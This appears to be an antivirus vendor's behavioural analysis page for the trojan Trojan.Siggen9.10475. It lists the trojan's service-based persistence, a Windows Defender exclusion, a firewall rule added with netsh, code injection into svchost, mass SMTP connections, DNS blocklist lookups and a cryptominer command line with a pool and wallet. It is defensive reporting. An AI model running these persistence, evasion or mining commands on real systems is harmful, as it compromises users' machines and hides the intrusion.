Trojan.Siggen9.10475

Technical Information

To ensure autorun and distribution

Creates the following services

[<HKLM>\System\CurrentControlSet\Services\rzwbxkgf] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\rzwbxkgf] 'ImagePath' = '%WINDIR%\SysWOW64\rzwbxkgf\jfxxujiw.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\rzwbxkgf] 'ImagePath' = '%WINDIR%\SysWOW64\rzwbxkgf\jfxxujiw.exe'

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\rzwbxkgf' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\jfxxujiw.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\jfxxujiw.exe to %WINDIR%\syswow64\rzwbxkgf\jfxxujiw.exe

Deletes itself.

Network activity

Connects to

'mx.##ra.co.nz':25

TCP

HTTP GET requests

http://www.google.com/

'93.##9.69.109':416

'46.#8.66.2':416

'ho#########.olc.protection.outlook.com':25

'gmail-smtp-in.l.google.com':25

'27.##.176.228':25

'mx####.##il.gm0.yahoodns.net':25

'google.com':443

'ma##.foyel.com':25

'mx#.pts.se':25

'in###gram.com':443

'me####count.gmx.net':443

'pe#####er.infoquest.com':25

'se###ce.gmx.net':443

'in#####ption1.gmx.net':443

'mx#.mail.ru':25

'mx#.#pgi.com.au':25

'ff######x-vip1.prodigy.net':25

'sm##.tin.it':25

'46.#.52.109':416

'43.#31.4.7':443

'17#.#.114.177':416

'78.#1.67.23':416

'18#.#65.238.150':416

'mi####.bittubeapp.com':13333

'mt##.##0.yahoodns.net':25

'eu#.###.#rotection.outlook.com':25

'ma#####rtual.gwtc.net':25

'alt2.aspmx.l.google.com':25

'mx.##oeuro.com':25

'mx#.#anmail.net':25

'ap#.###.#rotection.outlook.com':25

'mx##.#e.isp-net.nl':25

'mx#.#sgo.net':25

'mx##.##oud.advania.se':25

'na#.###.#rotection.outlook.com':25

'as#.##flexion.net':25

'mx#.##rthlink.net':25

'in##.rambler.ru':25

'ALT1.ASPMX.L.GOOGLE.COM':25

'mx#.#aver.com':25

'ma##.#imonelli.ca':25

'mx###.##il.am0.yahoodns.net':25

'85.##4.134.88':480

'aspmx.l.google.com':25

'mx.#mail.it':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK li#e.nl
DNS ASK ka##an.edu
DNS ASK ya###.com.br
DNS ASK us###ily.net
DNS ASK mx#.#sgo.net
DNS ASK em##l.com
DNS ASK mx#.#mpal.com
DNS ASK mi###canvas.com
DNS ASK ma##.naz.edu
DNS ASK pe#####er.infoquest.com
DNS ASK ea####ookbldrs.com
DNS ASK sm##.##cureserver.net
DNS ASK ea#####okbuilders.com
DNS ASK tp#.com.au
DNS ASK mx#.#pgi.com.au
DNS ASK se###ce.gmx.net
DNS ASK om##.com
DNS ASK me####count.gmx.net
DNS ASK in###gram.com
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK li##.com.ar
DNS ASK si#####liotevents.com
DNS ASK gm##l.com
DNS ASK gmail-smtp-in.l.google.com
DNS ASK si###ellis.com
DNS ASK ve##zon.net
DNS ASK mc##i.com
DNS ASK fo##l.com
DNS ASK sm######.mc.a.cloudfilter.net
DNS ASK si#####listonball.com
DNS ASK ms#.com
DNS ASK ms#####.##c.protection.outlook.com
DNS ASK si####lsbury.com
DNS ASK sh###erfly.com
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK ma##.foyel.com
DNS ASK kr.#bm.com
DNS ASK mx######b2d01.pphosted.com
DNS ASK ei####rocess.com
DNS ASK et###.#ail.tiscali.it
DNS ASK wa##doo.fr
DNS ASK sm####n.orange.fr
DNS ASK ti#.it
DNS ASK sm##.tin.it
DNS ASK wp.pl
DNS ASK ff######x-vip1.prodigy.net
DNS ASK ti##ali.it
DNS ASK mx.#p.pl
DNS ASK em##l.it
DNS ASK mx.#mail.it
DNS ASK za###media.com
DNS ASK zo##et.nl
DNS ASK mx##.#e.isp-net.nl
DNS ASK wp.eu
DNS ASK li#e.no
DNS ASK bl###burn.edu
DNS ASK be###outh.net
DNS ASK fe##ick.com
DNS ASK mx.########.com.cust.a.hostedemail.com
DNS ASK mx#######801.gslb.pphosted.com
DNS ASK in#####ption1.gmx.net
DNS ASK ma#l.ru
DNS ASK mx#.mail.ru
DNS ASK am##n.com
DNS ASK mx#######e01.gslb.pphosted.com
DNS ASK re#.#icoh.com
DNS ASK di##ies.com
DNS ASK mx#######802.gslb.pphosted.com
DNS ASK mx.#cn.com
DNS ASK si##ey.com
DNS ASK mx#######702.gslb.pphosted.com
DNS ASK ne###ape.com
DNS ASK ap##io.com
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK xp###net.com
DNS ASK rc#.com
DNS ASK ho##ail.com
DNS ASK bh##ns.com
DNS ASK google.com
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK hi####comics.com
DNS ASK alt2.aspmx.l.google.com
DNS ASK kt#.#sele.se
DNS ASK ic##roe.com
DNS ASK nz##.mil.nz
DNS ASK mx#.##curemx.biz
DNS ASK in##.lulea.se
DNS ASK mx.##oeuro.com
DNS ASK ap#.###.#rotection.outlook.com
DNS ASK pt#.se
DNS ASK mx#.pts.se
DNS ASK ha##ail.net
DNS ASK mx#.#anmail.net
DNS ASK ie###gizer.com
DNS ASK ie#####n.ienergizer.com
DNS ASK ho###il.co.jp
DNS ASK ma##.#elkomsa.net
DNS ASK in##ald.se
DNS ASK te###msa.net
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK ya##o.com
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK mt##.##0.yahoodns.net
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK ha###i.rr.com
DNS ASK pk#####.#sg.pkvw.co.charter.net
DNS ASK mx.##bleone.net
DNS ASK ho##ail.de
DNS ASK mi####.bittubeapp.com
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK gw##.net
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK ma#####rtual.gwtc.net
DNS ASK ca###one.net
DNS ASK ho##ail.fr
DNS ASK ip##et.es
DNS ASK ho##ail.it
DNS ASK ga####org.hsb.se
DNS ASK ALT1.ASPMX.L.GOOGLE.COM
DNS ASK du##.#ricsson.se
DNS ASK ra##ler.ru
DNS ASK in##.rambler.ru
DNS ASK nt###rld.com
DNS ASK mx.##.##mail.iss.as9143.net
DNS ASK mx##.ionos.com
DNS ASK tr#####-greeceny.org
DNS ASK et##.#ricsson.se
DNS ASK si###ella.eu
DNS ASK xt##.co.nz
DNS ASK mx.##ra.co.nz
DNS ASK si###elli.ca
DNS ASK ma##.#imonelli.ca
DNS ASK ya##o.de
DNS ASK na##r.com
DNS ASK mx#.#aver.com
DNS ASK we###rbeds.com
DNS ASK mx#.##rthlink.net
DNS ASK mi###pring.com
DNS ASK im####products.net
DNS ASK mx.####ctproducts.net
DNS ASK se###r-nsu.de
DNS ASK mx##.##ndenserver.de
DNS ASK pu##c.se
DNS ASK mx##.##oud.advania.se
DNS ASK ja####thepass.com
DNS ASK ga###########-se.mail.protection.outlook.com
DNS ASK wi###wslive.com
DNS ASK jc##st.com
DNS ASK aspmx.l.google.com
DNS ASK jo###eere.com
DNS ASK mx#######101.gslb.pphosted.com
DNS ASK se####tcapital.com
DNS ASK as#.##flexion.net
DNS ASK tr####ygraphic.com
DNS ASK na#.###.#rotection.outlook.com
DNS ASK li#e.fr
DNS ASK sm###a.nfp.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\rzwbxkgf\jfxxujiw.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\rzwbxkgf\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\jfxxujiw.exe" %WINDIR%\SysWOW64\rzwbxkgf\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create rzwbxkgf binPath= "%WINDIR%\SysWOW64\rzwbxkgf\jfxxujiw.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description rzwbxkgf "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start rzwbxkgf' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\rzwbxkgf\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\jfxxujiw.exe" %WINDIR%\SysWOW64\rzwbxkgf\
'%WINDIR%\syswow64\sc.exe' create rzwbxkgf binPath= "%WINDIR%\SysWOW64\rzwbxkgf\jfxxujiw.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description rzwbxkgf "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start rzwbxkgf
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs2vRiVmw72dvArkbJKbtz917RXckezk9W9STXQKq1SFKmQAbfF24KkWUNqxeNZHaDJftC49YzUhiDSPSYZtn1BR2R2Z3K3Fw.60000 -p x -k

Tecnologías

Términos

Formación y educación

Mitos

Technical Information

Curing recommendations

Free trial